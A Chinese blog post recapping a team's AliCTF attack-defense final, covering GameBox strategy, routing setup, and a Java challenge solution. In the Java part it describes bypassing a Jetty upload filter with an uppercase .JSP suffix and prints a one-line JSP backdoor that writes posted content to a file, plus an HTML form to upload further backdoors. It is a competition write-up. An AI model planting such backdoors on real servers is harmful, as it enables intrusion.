::L Team::
之前AliCTF线下决赛,因之前未参加过此类GameBox攻防的CTF决赛,经验不足,在此做一小结,同为分享.
竞赛官网: http://www.alictf.com/
决赛包括两类题目,以攻防为主的GameBox(对攻模式,分析自己GameBox文件找出漏洞,攻击其他团队获取flag文件得分和防御其他团队的攻击);以解题为主的NPC题目(根据题目说明,对指定环境进行攻击测试拿Flag).
GameBox分Bin1/Bin2与Web1/Web2,初始开放Bin1与Web1题目,每题目对应一个拥有题目运行权限账户,同时提供一个名为CTF的账户允许对所有题目文件进行修改(Patch).
需要注意的是,如果以CTF账户运行普通的Bin1等服务,则会引发安全隐患(可以读取其他如Bin2的Flag),决赛过程中也确有队伍因此悲剧.
竞赛刚开始,因为没这方面的主观意识,没想过服务会挂掉(导致Check不通过扣分),虽也很早分析出多处可让服务退出的漏洞,但只以为要取Flag,拿shell,未想过依赖打掉其他队伍服务得分.当主办方提及的时候,大部分队伍已经丢了很多分数.这是学到的这类CTF经验之一.
后面由于各种Payload打的比较频繁,经常服务会宕掉,不过写个守护脚本即可.Bash限制比较多,用Python实现即可.
对于WebCMS,首先要做的几件防护(改后台地址/密码)等,可加WAF,分析日志看官方check页面,保证能通过即可.然后再分析具体漏洞所在.
两天竞赛中,除却开始未发觉的服务宕掉,后面Patch及时,虽然最后Exp只拿了三个Flag,不过防守还好,丢分还算较少.
另外,有线网连入GameBox环境,无线网连入Wifi的情况下,因有线网有线,需添加路由表,Mac下添加方法:
sudo route flush
sudo route delete 0.0.0.0
sudo route add -net 0.0.0.0 172.16.1.254(无线网关)
sudo route add -net 10.1.100.0/24 10.1.7.254(有线GameBox网段)
Java自己本不了解很多,第一天研究了下Java NPC的第一道题目,绕来绕去居然顺利拿下First Blood.
Java Npc首先是一个上传绕过,上传文件大小不得超过106个字节,且限制某些后缀不能上传.这里使用大写JSP即可上传得到JSP脚本执行,框架为Jetty.后来kxlzx前辈提到题目本意是要下载Jetty分析其他后缀而非大小写转换
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspf</url-pattern>
<url-pattern>*.jspx</url-pattern>
<url-pattern>*.xsp</url-pattern>
<url-pattern>*.JSP</url-pattern>
<url-pattern>*.JSPF</url-pattern>
<url-pattern>*.JSPX</url-pattern>
<url-pattern>*.XSP</url-pattern>
</servlet-mapping>
可以上传文件后,发现UP目录可以列文件,先传了一个index.html.105字节的jsp脚本纠结了一段时间.后来这样解决:
首先传一个脚本获取当前路径
/tmp/webapp
而后修改这样一个后门
<%(new java.io.FileOutputStream("/tmp/webapp/up/xx.JSP")).write(request.getParameter("t").getBytes());%>
客户端写个HTML
<form action="http://xxxx/up/xxxx.JSP" method="post">
<textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value="提交">
</form>
上传其他后门,接下来就是翻来翻去找到flag.顺利拿到一血.
Java后门的题目完成了一半,自己也一知半解,不多做记录.
AliCTF决赛题目深度较高,感谢主办方,更感谢一起玩耍的队友.
最后,关于大四与工作,留个纪念:
awk -F '=' '/\[F2\]/{a=1}a==1&&$1~/A1/{print a;}' conf.ini
From Le4F'Blog